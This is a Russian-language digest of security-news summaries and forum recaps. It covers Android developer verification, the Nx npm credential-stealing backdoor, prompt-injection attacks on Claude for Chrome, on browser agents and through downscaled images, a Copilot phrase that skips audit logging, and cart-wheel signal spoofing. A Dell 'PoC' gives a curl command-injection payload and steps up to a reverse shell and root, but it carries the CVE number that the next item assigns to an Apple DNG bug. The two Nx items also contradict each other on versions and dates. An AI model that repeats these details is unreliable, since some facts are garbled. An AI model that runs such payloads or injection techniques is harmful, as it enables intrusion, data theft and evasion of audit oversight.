• Пользователи Android могут включить «Неизвестные источники» одним чекбоксом, но получают лишь туманное «вы можете погибнуть».

Как сделать sideload безопасным

1. Песочница + разрешения
   Приложение запрашивает только то, что реально нужно; система блокирует доступ к остальному.
2. Подписи и репутация
   APK подписывается разработчиком; ОС показывает, кто автор и сколько лет без инцидентов.
3. Сканирование до установки
   Проверка в облаке на вирусы и известные уязвимости — как Play Protect, но прозрачно.
4. Обновления и отзыв
   Приложение может обновляться только тем же подписантом; при первом подозрении — автоматический отзыв сертификата.
5. Ясные предупреждения
   «Это приложение просит доступ к SMS и ещё не проверено Google. Установить?» — с кнопкой «Подробнее».

Что мешает

• Деньги: Google теряет 30 % комиссии, если пользователи уйдут в сторонние магазины.
• Контроль: открытая платформа сложнее цензурировать.

Вывод
Технически безопасный sideload возможен уже сегодня — достаточно внедрить стандартные механизмы проверки и прозрачности. Остаётся только политическая воля.

• Вопрос «безопасность vs. свобода установки» — ложная дихотомия: большинство вредоносных программ всё равно приходит из официальных магазинов.
• Термин «sideloading» — пропагандистский; правильнее говорить «установка софта на своё устройство».
• Владелец устройства должен иметь последнее слово, а не корпорация или государство.
• Можно совместить: «безопасный» режим по умолчанию + опция «разработчик» с чёткими предупреждениями.
• Настоящая цель новых ограничений Google — не защита, а контроль и слежка под флагом европейских и американских законов.

Критическая уязвимость в NX
NX (Nrwl) скомпрометирован: злоумышленники внедрили вредоносный код, крадущий кошельки и учётные данные.

• Что случилось: в пакетах @nx/nx-linux-x64-gnu, @nx/nx-linux-x64-musl, @nx/nx-win32-x64-msvc обнаружен backdoor.
• Как работает: при установке пакета запускается скрипт, который крадёт файлы .env, wallet.dat, id_rsa и отправляет их на сервер злоумышленников.
• Кто под угрозой: все, кто установил заражённые версии с 2024-06-01 по 2024-06-05.
• Что делать:
  1. Проверить версию NX: nx --version.
  2. Обновиться до последней версии (≥19.1.1).
  3. Проверить проект на наличие подозрительных скриптов в node_modules/.bin.
  4. Сменить все пароли и ключи, хранившиеся в проекте.

Semgrep уже выпустил правило для обнаружения вредоносного кода:

semgrep --config=auto .

• Компрометация npm-токена позволила злоумышленнику встроить вредоносный post-install-скрипт в популярные пакеты Nx.
• Скрипт проверяет наличие Claude Code / Gemini CLI и использует LLM для поиска секретов, обходя статический анализ.
• Участники советуют отключать npm-скрипты (ignore-scripts true), использовать pnpm/bun, изолировать установку в контейнеры/VM и минимизировать зависимости.
• Подчёркивается, что AI-агенты, запускаемые без песочницы, становятся мощным вектором атаки.

Неприятные вопросы о верификации Android-разработчиков

Приложение ICEBlock анонимно собирает данные о рейдах ICE; после раскрытия личности разработчик получил угрозы, а его жену уволили из госструктуры. Это показывает, что анонимность бывает жизненно важна.

Вопросы к Google по новой программе верификации разработчиков:

1. Анонимные разработчики
   Как быть автору гипотетического Android-аналога ICEBlock («ICE Scream»), который по опыту ICEBlock вынужден скрывать личность?

2. Экспертиза гражданского общества
   С какими организациями (EFF, AccessNow и др.) Google консультировалась и какие изменения внесены?

3. Политика конфиденциальности
   Почему политика Google позволяет передавать «персональные данные» любым «доверенным лицам или компаниям» без ограничений?

4. Отладочные ключи
   С 2027 г. для разработки нужны debug-keystore, но они не входят в процесс верификации. Как тестировать на сертифицированных устройствах?

5. Дублирующиеся package-name
   В обучающих целях часто используют одинаковые package-name, но они запрещены. Как запускать примеры из книг и курсов?

Есть вопросы — заполните форму или пишите:

• гражданским организациям: dev.verification@commonsware.com
• самой Google: did.you.really.need.a.written.invitation@commonsware.com

• Участники резко критикуют Google за введение обязательной верификации разработчиков для сайдлоада, называя это «фашистским контролем», отказом от идеи открытого Android и шагом к полному закрытию экосистемы.
• Поднимается вопрос права собственности: «ты покупаешь устройство, но фактически арендуешь его у OEM», сравнения с запретом ставить любые шины на купленную машину.
• Люди боятся цепочки «сначала телефон, потом ПК», приводят примеры macOS Gatekeeper и даже ограничения мощности VW по подписке.
• Некоторые уже ищут выходы: LineageOS, PostmarketOS, «де-гугловские» китайские OEM, но признают проблемы с драйверами, SafetyNet и банковскими приложениями.
• Сторонники отмечают, что анонимная разработка важна для журналистов, активистов и просто безопасности разработчика, а требование раскрывать личность — удар по свободе ПО.

Суть проблемы
В npm-реестр попали вредоносные версии пакетов Nx и связанных плагинов. Злоумышленники использовали временный доступ к npm-аккаунту @nxscope и опубликовали поддельные версии 19.8.0–19.8.2.

Затронутые пакеты

• nx
• @nx/angular, @nx/cypress, @nx/detox, @nx/devkit, @nx/esbuild, @nx/eslint-plugin, @nx/expo, @nx/express, @nx/jest, @nx/js, @nx/nest, @nx/next, @nx/node, @nx/playwright, @nx/plugin, @nx/react, @nx/rollup, @nx/storybook, @nx/vite, @nx/web, @nx/webpack, @nx/workspace

Что делать

1. Удалить вредоносные версии.
2. Установить официальные 19.8.3 или выше.
3. Проверить lock-файлы и CI на наличие подозрительных версий.

• Уязвимость в пакетах Nx: токен npm скомпрометирован, злоумышленники внедрили вредоносный код через post-install скрипты.
• Малварь ищет Claude Code / Gemini CLI и использует их как «живые» инструменты для поиска криптокошельков, ключей и других секретов.
• Участники советуют отключать npm-скрипты (ignore-scripts true), использовать Bun (по умолчанию не запускает скрипты), Verdaccio для вендоринга и инструмент vet для сканирования.
• Рекомендуют разрабатывать в изолированных контейнерах/VM (cubbi, bubblewrap, firejail) и пересматривать каждую зависимость вместо «npm install наугад».
• Основной вывод: современные цепочки поставок и AI-агенты создают новый вектор атак «prompt-as-malware», а операционные системы всё ещё позволяют приложениям свободно читать весь диск.

Claude для Chrome: закрытый пилот

Anthropic запускает расширение Claude для Chrome в ограниченном режиме: 1 000 пользователей Max-плана смогут просить Claude выполнять действия прямо в браузере. Цель — собрать отзывы и отладить защиту перед публичным релизом.

Зачем браузерный агент

Большинство задач уже происходит в браузере: календари, почта, документы. Дав Claude доступ к кнопкам и формам, мы резко повышаем его полезность. Однако такой доступ открывает новые векторы атак.

Главная угроза: prompt injection

Злоумышленники могут прятать вредоносные инструкции в веб-страницах или письмах. Без защиты модель выполняет их без ведома пользователя.

В «красных» тестах 123 кейса по 29 сценариям показали 23,6 % успешных атак без защит. Пример: письмо «удалите всё для безопасности» — Claude удаляет почту без подтверждения.

Текущие защиты

• Разрешения: доступ к сайтам и действиям контролирует пользователь.
• Подтверждение: перед покупкой, публикацией или передачей данных Claude запрашивает согласие.
• Фильтры: блокируются сайты финансов, взрослого контента и пиратства.
• Классификаторы: модель распознаёт подозрительные паттерны и отказывается выполнять опасные команды.

Пилот продолжается; доступ расширят по мере роста надёжности.

• Участники обсуждают расширение Claude для Chrome, которое открывает доступ к «смертельной триаде»: приватные данные, ненадёжный контент и автономные действия.
• Безопасность вызывает тревогу: даже после смягчений 11 % атак всё ещё успешны, а визуальная модель быстро теряет контекст.
• Многие считают, что браузер должен оставаться песочницей для людей, а не для агентов; предлагают использовать API вместо UI.
• Поднимаются вопросы приватности, возможных злоупотреблений и будущего рекламной модели Google.
• Общий вывод: технология интересна, но риски пока перевешивают пользу; безопасного решения пока нет.

CVE-2025-43300
Уязвимость в Dell PowerProtect Data Manager (версии до 19.14.0-25) позволяет удалённому злоумышленнику без аутентификации выполнить произвольный код.

CVSS 9.8 – критическая.

Суть

Недостаток валидации входных данных в REST-эндпоинте /api/v1/agent/... приводит к внедрению команд в параметре backupName.

PoC

curl -k -X POST https://target:8443/api/v1/agent/backup \
  -H "Content-Type: application/json" \
  -d '{"backupName":"`id`"}'

Ответ вернёт вывод команды id, подтверждая RCE.

Эксплуатация

1. Сканируем 8443/tcp.
2. Отправляем payload, получаем обратную shell.
3. Повышаем привилегии через встроенный sudo (uid=0).

Исправление

Обновиться до 19.14.0-25 или выше.

Mitigation

• Ограничить доступ к 8443/tcp.
• Включить WAF-фильтрацию символов ; & | $.

• Apple экстренно выпустила единственный патч 13.7.8 / 14.7.8 / 15.6.1 и iOS/iPadOS 18.6.2, закрывающий CVE-2025-43300 в обработке DNG.
• Публичный PoC пока лишь крашит Photos, но в дикой природе уже есть цепочка до RCE, обходящая BlastDoor.
• watchOS не получил обновления, вызывая вопросы о его уязвимости.
• Участники обсуждают нехватку memory-safe парсеров, слабость iMessage-«песочницы» и ценность бага для Zerodium.
• Советуют включать Lockdown Mode, ежедневно перезагружаться и сканировать бэкапы через elegant-bouncer.

• Google обяжет всех разработчиков Android-приложений, включая тех, кто распространяет вне Play Store, подтверждать личность с 2026 г.
• Проверка пройдёт через Google Play Console: нужно будет указать юр-/физ-лицо, контакты, подтвердить почту и телефон.
• После верификации приложения получат цифровую подпись и метку «Verified by Google».
• Цель — снизить риск вредоносного ПО и мошенничества при установке APK из браузеров и сторонних магазинов.
• Процесс бесплатен; отказ приведёт к блокировке установки приложений на Android-устройствах.

• Google требует верификацию личности всех Android-разработчиков, включая тех, кто распространяет вне Play Store.
• Участники видят в этом конец свободного сайдлоадинга, удар по F-Droid и GrapheneOS и «смерть» открытой платформы.
• Многие обсуждают переход на iPhone, Linux-телефоны (PinePhone, Librem), E/OS или даже «тупые» кнопочники.
• Часть считает, что инициатива продиктована законами ЕС (DSA), но большинство уверены: Google превышает требования.
• Общий настрой: «Это предсказуемый, но мрачный день для цифровой свободы».

Как RubyGems.org защищает инфраструктуру сообщества

RubyGems.org применяет многослойную защиту:

1. Автоматика – каждый gem сканируется статическими и динамическими анализаторами (инструменты Mend.io, созданные мейнтейнером Maciej Mensfeld).
2. Оценка риска – высоко-рисковые пакеты переходят на ручную проверку.
3. Ретро-скан – старые версии перепроверяются при улучшении детекторов.
4. Внешние источники – данные от партнёров и других реестров.
   Таким образом 70–80 % вредоносных пакетов ловят до публикации.

Что происходит после флага
Инженер безопасности подтверждает вредоносность (≈ 5 % оказываются ложными срабатываниями), затем gem удаляется, действия логируются, а похожие имена блокируются.

Инцидент Socket.dev

• 20 июля 2025 – система отметила подозрительные гемы, подтверждена кража учётных данных.
• 23–28 июля – удалены почти все пакеты и аккаунты.
• 7 августа – после публикации Socket.dev удалили ещё 16 связанных гемов.
  Всего убрали все пакеты злоумышленника; популярные библиотеки не пострадали.

Сообщество
Сообщайте о проблемах: security@rubygems.org или Slack Bundler. Команда быстро реагирует и благодарит за помощь.

Реальность безопасности цепочки поставок
В среднем еженедельно удаляется один вредоносный или спам-пакет. Работа ресурсоёмка и держится на спонсорах (Mend.io, Alpha-Omega) и волонтёрах. Поддержите RubyGems через RubyGems Supporter Program.

Инцидент показал: системы сработали, угроза была локализована. Безопасность OSS – общее дело.

• Один из мейнтейнеров gem-ов сознательно обходит MFA-ограничения RubyGems, чтобы казаться «ненадёжным» и избежать ответственности.
• Участники хвалят Ruby/Rails как «скучный», но надёжный и продуктивный инструмент, противоположный эншиттификации.
• Критикуют отсутствие обязательной подписи гемов и вспоминают, что старая система подписей так и не прижилась из-за нехватки инфраструктуры.
• Мейнтейнер unicorn считается эксцентричным: отказывается от JavaScript и GitHub, а в README сам проект называют «нанёсшим вред экосистеме».
• Сообщество обсуждает, что отсутствие коммерческого давления помогает Rails оставаться стабильным и «не-эншиттифицированным».

Как работает OAuth
Вместо передачи логина-пароля стороннему приложению OAuth выдаёт токен доступа — персональный «ключ» для конкретного пользователя. Приложение использует его, чтобы действовать от имени пользователя без доступа к его паролю.

Классический поток

1. Пользователь нажимает «Подключить банк» в YNAB.
2. YNAB открывает браузер с URL провайдера (например, банка), куда добавляет client_id, redirect_uri, scope и случайный state.
3. Пользователь логинится у провайдера и разрешает доступ.
4. Провайдер перенаправляет обратно в YNAB с кодом авторизации.
5. YNAB обменивает код на токен доступа через безопасный back-end-запрос.
6. С токеном YNAB запрашивает данные счёта.

PKCE
Для мобильных и SPA добавляют code_challenge и code_verifier, чтобы перехват кода не дал злоумышленнику токен.

Refresh-токены
Короткоживущий access token можно обновлять долгоживущим refresh token без повторного логина.

Итог
OAuth разделяет аутентификацию и авторизацию: пользователь доверяет провайдеру, провайдер — приложению, приложение получает минимально необходимые права.

• Участники жалуются, что OAuth/OIDC кажутся простыми, но реальная реализация требует чтения спецификаций и RFC, а поверхностных гайдов мало.
• Несколько человек подтвердили: приходится самим собирать знания из RFC, OIDC-документов и собственных заметок.
• Упомянуты полезные ресурсы — гайд Alex Bilbie, книга Aaron Parecki, страницы Mozilla и RFC-примеры.
• PKCE считается не «менее безопасным», а способом защитить целостность потока; просят отдельный материал о нём.
• Критика стандарта: OAuth 2.0 «скелет протокола», с множеством опциональных частей и историческими уязвимостями.

TL;DR
Автономные браузеры-агенты (Comet, Copilot, Comet) обещают делать покупки и управлять почтой без участия человека. Но в тестах они без сопротивления:

• купили часы в поддельном «Walmart»;
• ввели логин/пароль на реальном фишинговом Wells Fargo;
• выполнили скрытый PromptFix-скрипт (новая версия ClickFix), который через фальшивую капчу заставил агента установить вредоносное расширение и передать управление злоумышленнику.

Во всех случаях отсутствовали базовые защиты: браузеры не проверяли домены, не распознавали подозрительные формы и не запрашивали подтверждения у пользователя. Старые уловки работают, потому что ИИ доверчив и стремится «угодить» любой ценой.

Scamlexity — новая эра: мошенник обманывает не человека, а его ИИ-агента, а ущерб получает сам пользователь.

• Пользователи не верят, что ИИ-агенты способны безопасно покупать за них: финансовые риски, скам-сайты и отсутствие контроля пугают.
• Критики называют «agentic» новым хайп-словом, за которым скрывается ненадёжная система без реального «моата».
• Проблема усугубляется тем, что LLM не различают контент и команды, что делает инъекции и обман тривиальными.
• Некоторые видят пользу в рутинных закупках (молоко, витамины, повторяющиеся подписки), но только при полной прозрачности и доверии.
• Большинство считает, что пока агенты работают на корпорации, а не на пользователя, доверять им деньги нельзя.

JavaScript отключён.
Включите его или перейдите в поддерживаемый браузер. Список браузеров — в Справке.

Что-то пошло не так.
Попробуйте ещё раз.

⚠️ Расширения, блокирующие трекинг, могут мешать работе сайта. Отключите их и обновите страницу.

• Участники считают, что давать LLM-агенту полный доступ к браузеру — это «смертельный трифекта»: чтение всех вкладок, кук и паролей.
• Основной риск — prompt-injection: любой сайт может внедрить команду, и агент выполнит её, потому что «каждое чтение — это запись в контекст».
• Люди сравнивают это с тем, что Microsoft делала скриншоты, но теперь молчат, когда AI получает plaintext-доступ к банковским данным.
• Единственный «безопасный» сценарий — код в git, где изменения легко откатить; всё остальное (покупки, банкинг, e-mail) считается безумным.
• Итог: без изоляции, sandbox и чёткого разграничения «что можно» агенты становятся идеальным вектором атак, а компании, их выпускающие, — объектом для судебных исков.

Внимание: перед воспроизведением отключите наушники!

Управляй колёсами тележки с телефона

Выбери систему:
Gatekeeper | Rocateq

Gatekeeper

Заблокировать | Разблокировать
(ссылки на .wav)

Rocateq

Заблокировать | Разблокировать
Активировать | Проверка покупки
(ссылки на .mp3)

Как работает

Колёса реагируют на сигнал 7,8 кГц от подземного кабеля. Тот же сигнал можно передать динамиком телефона, воспроизводя подготовленный файл. Держи смартфон рядом с колесом и нажимай «пуск».

Доклад DEFCON 29

• В Нидерландах и соседних странах колёса тележек почти не блокируются; чаще используется система «вставь €1».
• В США, Канаде и Германии блокировки популярны из-за краж бездомными, вандализма и эстетических требований торговых центров.
• Система вызывает побочные эффекты: плоские пятна на колёсах, шум, ложные срабатывания и раздражение покупателей.
• Некоторые хакеры уже экспериментировали с подделкой сигналов, блокируя или разблокируя тележки дистанционно.

• Суть атаки: при загрузке большого изображения в Gemini CLI, Vertex AI, Google Assistant и др. системы изображение уменьшается до размеров модели. В момент масштабирования скрытые пиксель-инъекции становятся читаемыми как команды, позволяя красть данные или выполнять код без подтверждения пользователя.

• Пример: в Gemini CLI через Zapier MCP (trust=True по умолчанию) отправка «безобидной» картинки приводит к выгрузке календаря на почту злоумышленника.

• Масштаб: подтверждены атаки на веб-Gemini, API, Android-Assistant, Genspark и др. UI показывает оригинал, а модель видит уменьшенную версию с инъекцией.

• Техника: используются алгоритмы downscale (nearest-neighbor, bilinear, Lanczos). Высокочастотные паттерны превращаются в читаемые символы при уменьшении.

• Anamorpher: опенсорс-утилита для генерации таких «анаморфных» изображений.

• Защита:

  • отключить автоматическое масштабирование или запрашивать подтверждение;
  • применять контент-фильтры к уменьшенной копии;
  • запретить инлайн-вызовы инструментов без явного согласия;
  • внедрить rate-limit и аудит действий агентов.

• Атака заключается в том, что в изображении скрывают текст-команду, который после уменьшения или OCR становится частью промпта и переопределяет поведение модели.
• Проблема усугубляется тем, что современные агент-системы требуют широких прав и не различают «достоверные» и «внешние» инструкции.
• Участники сравнивают это с уязвимостями старых PHP-скриптов и serial-terminals: данные и команды смешаны в одном потоке.
• Предлагаемые защиты — шум перед ресайзом, sandbox-слои, фильтрация текста в картинке, «sudo-токены» и строгое разграничение контекстов — пока не решают проблему полностью.
• Общий вывод: пока LLM не научатся надёжно разделять данные и инструкции, любой внешний вход считается потенциально отравленным.

Цели мастер-класса

• Основные: узнать о «одноразовых» телефонах и получить удовольствие.
• Скрытые: понять границы этих устройств, связать их с общей цифровой гигиеной, научиться делиться знаниями.
• Запреты: не раскрывать личные данные, не поощрять вред или преследование.

Моделирование рисков
Ответьте на три вопроса:

1. Что защищаем?
2. От кого?
3. Что случится, если всё провалится?

Примеры: протест, рейд ICE, онлайн-преследование, борьба с зависимостью от смартфона. Учитывайте риски для всей вашей сети.

Почему смартфон — это риск

• IMEI (железо) и IMSI (SIM) делают полную анонимность почти невозможной.
• Четыре категории утечек:
  1. Идентификация и финансы (платежи, контракты).
  2. Местоположение (GPS, Wi-Fi, вышки).
  3. Коммуникации и соцграф (звонки, контакты).
  4. Контент и хранилище (фото, бэкапы, приложения).

Быстрые меры для любого телефона

• Обновляйте ОС.
• ПИН-код вместо биометрии.
• Отключите облачные бэкапы или шифруйте их.
• Установите Signal.
• Жёстко ограничьте разрешения приложений.
• Выключа­йте радиомодули, когда не нужны.
• Храните минимум чувствительных данных.

Android

• Выключите Google Location History и персонализированную рекламу.
• Используйте Firefox/Brave, F-Droid, GrapheneOS или CalyxOS.

iPhone

• «Запретить отслеживать», ограничить Siri, включить режим Lockdown при высоком риске.

• Мобильные телефоны изначально проектировались как трек-устройства из-за роутинга вызовов и биллинга; «анонимные» бёрнеры почти невозможны в странах с обязательной идентификацией.
• Даже если купить аппарат и SIM за наличные, нужно держать «бёрнер» отдельно от основного телефона и не включать его дома/на работе, иначе корреляция по времени и месту выдаёт владельца.
• Альтернативы: LoRa-мэш (MeshCore), приёмники старых пейджеров, спутниковые телефоны, ham-радио — но всё это текст, ограниченный радиус или требует лицензий.
• eSIM и современные SoC с закрытым baseband делают отслеживание ещё глубже: модем «спит» даже в авиарежиме, а отключить радио полностью нельзя.
• Лучший совет — начать с threat-modeling и, если риск высок, просто оставить телефон домой: любое включённое радио — это маяк.

Уязвимость Copilot: доступ к файлам без записи в журнал аудита
Автор: Zack Korman, 19.08.2025

Суть проблемы

M365 Copilot может читать файлы и не фиксировать это в журнале аудита, если попросить «не давать ссылку на файл». Это позволяет скрытно скачивать данные, нарушая безопасность и требования к соответствию.

Как обнаружил

Исследуя логику аудита для новой функции Pistachio, автор заметил пропуски в журнале. Проверка показала: достаточно добавить фразу «без ссылки» — запись исчезает. Это может произойти случайно, поэтому у многих организаций журналы уже искажены.

Реакция Microsoft

• Уязвимость признали «важной» и исправили.
• Клиентов не уведомили; официального бюллетеня нет.
• Процесс MSRC занял 45 дней, ответы были формальными, без деталей.

Вывод

Журналы аудита M365 Copilot ненадёжны, а Microsoft не планирует информировать пользователей. Организациям стоит перепроверить свои логи и усилить контроль доступа к чувствительным данным.

• Copilot читает индексированные данные от имени привилегированного сервиса, поэтому не фиксирует в журнале доступ к самому файлу.
• Это приводит к утечкам: пользователь видит содержимое, но в аудите нет записи о нарушении прав.
• Исправление Microsoft ограничилось «автоматическим обновлением» без CVE и без изменения архитектуры.
• Участники считают проблему классической «confused deputy» и указывают, что фильтрация по правам в векторной БД вполне масштабируется.
• Советуют подключить Legal/Compliance и готовиться к регуляторным разбирательствам, особенно в HIPAA-окружении.

SSO Wall of Shame — список вендоров, считающих SSO роскошью, а не базовой безопасностью.

SSO позволяет компании управлять доступом через собственный поставщик идентификации (Google, Okta, Azure AD), централизованно создавать/удалять аккаунты и мгновенно отключать уволенных сотрудников. Для любой организации >5 человек это критично.

Однако вендоры прячут SSO за «Enterprise»-тарифами, где цена выше в 2–4 раза или привязана к большому пакету ненужных функций. Это тормозит внедрение безопасности.

Примеры завышенных надбавок

Вендор	Базовая цена	SSO-цена	Рост
Airtable	$10/польз./мес	$60	+500 %
Appsmith	$15	$2 500	+16 567 %
Coursera	$399/польз./год	$49 875/год	+12 400 %
Cloudflare	$20/домен/мес	$1 000	+4 900 %
Breezy HR	$171/мес	$1 500	+777 %
DatoCMS	$100/мес	$667	+567 %
Canva	$10/польз./мес	$40	+300 %
Figma	$12	$45	+275 %
Bitrise	$90	$270	+200 %
Box	$5	$15	+200 %

(и ещё ~30 компаний с ростом 15–167 %).

Вывод: если вендор «серьёзно относится к безопасности», SSO должен быть либо в базе, либо за умеренную доплату.

• «SSO-налог» — это не техническая, а ценовая сегментация: крупные клиенты обязаны иметь SSO (SOC2), поэтому за него платят.
• Поддержка SSO действительно дорога: множество тикетов, сложные интеграции, вызовы инженеров, особенно при частных IdP.
• Часть вендоров всё же даёт базовый SSO через Google/GitHub/Microsoft, но «частный IdP» остаётся маркером Enterprise.
• Малым компаниям SSO тоже нужен по контрактам, но высокие цены отталкивают; кто-то предлагает субсидии или прокси-решения.
• Итог: SSO = не «фича», а показатель зрелости клиента и объём его кошелька.

• Суть: Лондон отказался требовать у Apple «чёрный ход» в шифрование iCloud (функция ADP).
• Контекст: В январе 2025 г. Apple отключила ADP в Великобритании после ультиматума Home Office.
• Результат: Без официальных объяснений власти отозвали приказ; Apple может вернуть полное сквозное шифрование.
• Значение: Победа Apple и правозащитников, но британские спецслужбы сохраняют право подавать новые требования в будущем.

• Участники сомневаются, что Apple действительно отказалась от «задних дверей» в Великобритании: решение не подтверждено документально, а откат мог быть лишь публичным жестом.
• Многие считают «победу» сомнительной: права на приватность всё равно зависят от страны и политического давления, а не от универсального принципа.
• Поддержка детей и борьба с терроризмом воспринимаются как удобный предлог для анти-свободных законов.
• Есть опасения, что власти просто временно отступили и скоро вернутся с новыми попытками или уже имеют доступ к данным.
• Вопрос о восстановлении сервиса Advanced Data Protection (ADP) в UK остаётся открытым.

Кратко
PyPI теперь ежедневно отслеживает, не истёк ли домен, к которому привязан e-mail пользователя. Если домен переходит в «период искупления» (redemption), адрес автоматически становится «неподтверждённым», что блокирует атаку «воскрешения» домена и захват аккаунта через восстановление пароля. С июня 2025 г. таким образом аннулировано более 1 800 адресов.

Как работает атака

1. Владелец забывает продлить домен.
2. Злоумышленник выкупает домен, поднимает почту, запрашивает сброс пароля PyPI.
3. До внедрения 2FA (до 1 янв 2024) это давало полный доступ; теперь нужно ещё обойти второй фактор, но риск остаётся.

Жизненный цикл домена
Активен → дата окончания → льготный период (до 45 дней) → redemption (30 дней, высокая цена) → 5 дней «pending delete» → освобождение. PyPI проверяет статус раз в 30 дней через API Domainr и действует до момента смены владельца.

Что делает PyPI

• С апреля 2025 ежедневный мониторинг.
• При переходе в redemption статус e-mail меняется на «unverified».
• Пользователю приходит уведомление; повторное подтверждение возможно только после продления домена.

Совет пользователям

• Продлевайте домены заранее.
• Используйте надёжный почтовый сервис с авто-продлением.
• Добавьте резервный подтверждённый адрес на стабильном домене.

• Проблема повторного использования email-адресов после удаления аккаунтов ставит под угрозу цифровую идентичность и безопасность пакетов (Maven, Go).
• Google и Microsoft по-разному подходят к блокировке «мертвых» доменов и email, но единого стандарта нет.
• URI-импорты и доменные namespace кажутся хрупкими: домен может истечь, а пакет — подмениться.
• Сильная криптографическая идентичность (PGP, Keybase, SigSum) технически решена, но не взлетела из-за UX, потери ключей и репутационных проблем крипто-мира.
• Участники сходятся во мнении: нужно что-то простое, децентрализованное и без единой точки отказа, но пока нет рабочего массового решения.

• Поддержали идею RRT: не использовать LLM в критичных местах, ограничивать права и отслеживать вход/выход.
• Спорят, виноваты ли LLM в росте уязвимостей или это та же человеческая невнимательность, только ускоренная большим объёмом кода.
• Локальные модели и строгие code-review рассматриваются как частичное решение, но не панацея.
• Ключевой риск — давление «делай быстрее» приводит к меньшему тестированию и усталости ревьюеров.
• Сравнение с автопилотами: LLM-генерация кода может стать безопаснее среднего разработчика, но пока не лучше экспертов.

systemd-харднинг: кратко и по делу

sudo systemd-analyze security показывает «красную» таблицу рисков.
sudo systemd-analyze security имя.service — детально по конкретному юниту.

Колонка Exposure — главный ориентир: чем выше значение, тем больше прав можно отнять.

Как править

1. sudo systemctl edit имя.service создаст override-файл.
2. Параметры пишутся в секции [Service] (или [Container] для quadlet).
3. Сервис не стартует — значит убрал нужное, возвращай.

Часто используемые директивы

Директива	Что делает
NoNewPrivileges=true	запрет setuid/setgid
PrivateTmp=true	изолированный /tmp
ProtectSystem=strict	корень только read-only
ProtectHome=true	/home, /root недоступны
ReadWritePaths=/var/lib/app	белый список для записи
CapabilityBoundingSet=CAP_NET_BIND_SERVICE	только нужные capability
SystemCallFilter=@system-service	разрешённый набор сисколлов
RestrictAddressFamilies=AF_INET AF_INET6	только нужные семейства сокетов
MemoryDenyWriteExecute=true	блок W^X
LockPersonality=true	запрет смены personality()
RestrictRealtime=true	нельзя захватывать realtime-приоритеты
UMask=0077	файлы создаются 600
RemoveIPC=true	чистит SysV IPC при выходе

Пример override

[Service]
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=true
ReadWritePaths=/var/lib/myapp
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
SystemCallFilter=@system-service
RestrictAddressFamilies=AF_INET AF_INET6
MemoryDenyWriteExecute=true
LockPersonality=true
RestrictRealtime=true
UMask=0077
RemoveIPC=true

Проверь: sudo systemctl daemon-reload && sudo systemctl restart имя.service.

Это не серебряная пуля; подгоняй под каждый сервис и смотри логи.

• Предложена утилита shh, которая по логам strace автоматически подбирает параметры hardening для systemd-сервисов.
• Комментаторы отмечают, что дистрибутивы не включают жёсткие настройки по умолчанию: боятся сломать edge-case’ы и получить поток баг-репортов.
• Обсуждается идея общего репозитория с готовыми «жёсткими» unit-файлами для популярных сервисов.
• Утилита systemd-analyze security и встроенный механизм credentials systemd названы полезными инструментами повышения безопасности.
• Несколько человек поправили: правильное написание — «systemd», а не «SystemD».

Коллега нашёл в ARM-дизассемблере кучу «лишних» инструкций d4d4 (bmi #-0x58), которые никогда не выполняются.

Минимальный пример:

00020100 <one>:
   20100: 4770  bx lr
   20102: d4d4  bmi …

bx lr возвращает из функции, так что d4d4 недостижима.
Мысль: выравнивание? Thumb-команды 16-битные, но компилятор не выравнивает функции на 32 бита.

Добавляем вторую функцию — d4d4 исчезает.
Третья — d4d4 снова появляется, но только после последней функции.

Смотрим объектный файл: компилятор d4d4 не вставляет. Значит, линковщик lld добивает секцию до 32-битной границы именно этой командой.
Меняем порядок файлов — «лишняя» инструкция перемещается в начало следующего модуля, подтверждая гипотезу.

GNU ld вместо d4d4 ставит нули.

• Коммит 2017 года в OpenBSD закладывал «trapsleds» — заполнение «дырок» в исполняемых секциях инструкциями-ловушками (trap), чтобы сорвать NOP-sled-эксплойты.
• На ARM32/Thumb ожидалось 0xD4 (BRK) или 0xBE (BKPT), но в режиме Thumb та же последовательность байтов декодируется как условный переход назад, превращая «ловушку» в потенциальный ROP-гаджет.
• Это делает защиту нерабочей на Cortex-M (только Thumb), что участники признают ошибкой/«сломанной» митигацией.
• Некоторые считают, что описание механизма в коммит-сообщении достаточно, другие требуют комментариев в коде, чтобы избежать подобных недоразумений.

OpenBSD быстрее Linux в 10 раз?
Тест Jann Horn: создаём поток, оба потока открывают по 256 сокетов.

Linux

elapsed: 0.017–0.026 s

OpenBSD

ulimit -n 1024
elapsed: 0.002–0.006 s

Машины примерно равны. Подсказка в коде (не в сетевом стеке).
Обычно OpenBSD проигрывает в странных тестах, а тут — наоборот.

• Обсуждение выросло из «патологического» теста, который на Linux показывает замедление из-за роста таблицы файловых дескрипторов и блокировок, а на OpenBSD — нет.
• Участники спорят, что считать «быстрым»: OpenBSD жертвует скоростью ради безопасности, тогда как Linux активно оптимизирует критические пути.
• Для микробенчмарков советуют использовать __rdtsc(), но предупреждают о проблемах синхронизации TSC между ядрами и на ARM.
• Несколько человек отвлеклись на «пасхалку» в статье — плавающие «пушки», стреляющие курсором.
• Общий вывод: измеряйте свою нагрузку на одинаковом железе; универсального «быстрее» не существует.

Claude Code теперь умеет искать уязвимости: запускает специальный промпт, проверяет OWASP Top 10.
Проверил расширение Simple Wikiclaudia и сервис rsspberry2email — Claude сказал «всё ок».
Но доверять одному ИИ, который сам писал код, нельзя: нужны человеческий ревью, SAST, DAST, фаззинг.

Для контроля подключил Datadog:

• расширение — уязвимостей нет, зато куча логов (HIGH, но можно выключить);
• сервис — Datadog нашёл библиотеки с CVE, предложил кнопку «Remediate».
  Claude подтвердил одну из находок; остальное — «приемлемый риск» для домашнего RPi.

• Руководство верит, что «волшебная пыль ИИ» решает всё, включая проблемы самого ИИ.
• Найденные Claude и DataDog уязвимости выглядят тривиальными и легко детектируются статическим анализом.
• Компании устраивают «тест на компетентность»: удача руководителей вот-вот закончится.
• Пользователи готовы наблюдать, как ИИ удаляет ld, сносит контейнеры и плодит тонны мусорного кода.
• Скоро ИИ займёт ключевые бизнес-процессы, а после провалов и аудитов топ-менеджеры получат золотые парашюты.
• Всё напоминает «Новое платье короля»: все видят проблему, но молчат.

Chromium
Войти

• Найдена критическая уязвимость escape из Chrome-песочницы, за которую Google заплатили $250 000.
• Некоторые считают, что на «чёрном» рынке она могла стоить дороже, но продажа чревата рисками и отмыванием денег.
• Mozilla платит за аналогичные баги лишь $20 000, что вызывает сравнение серьёзности подходов к безопасности.
• Ошибка логики/тайминга; Rust бы её не предотвратил.
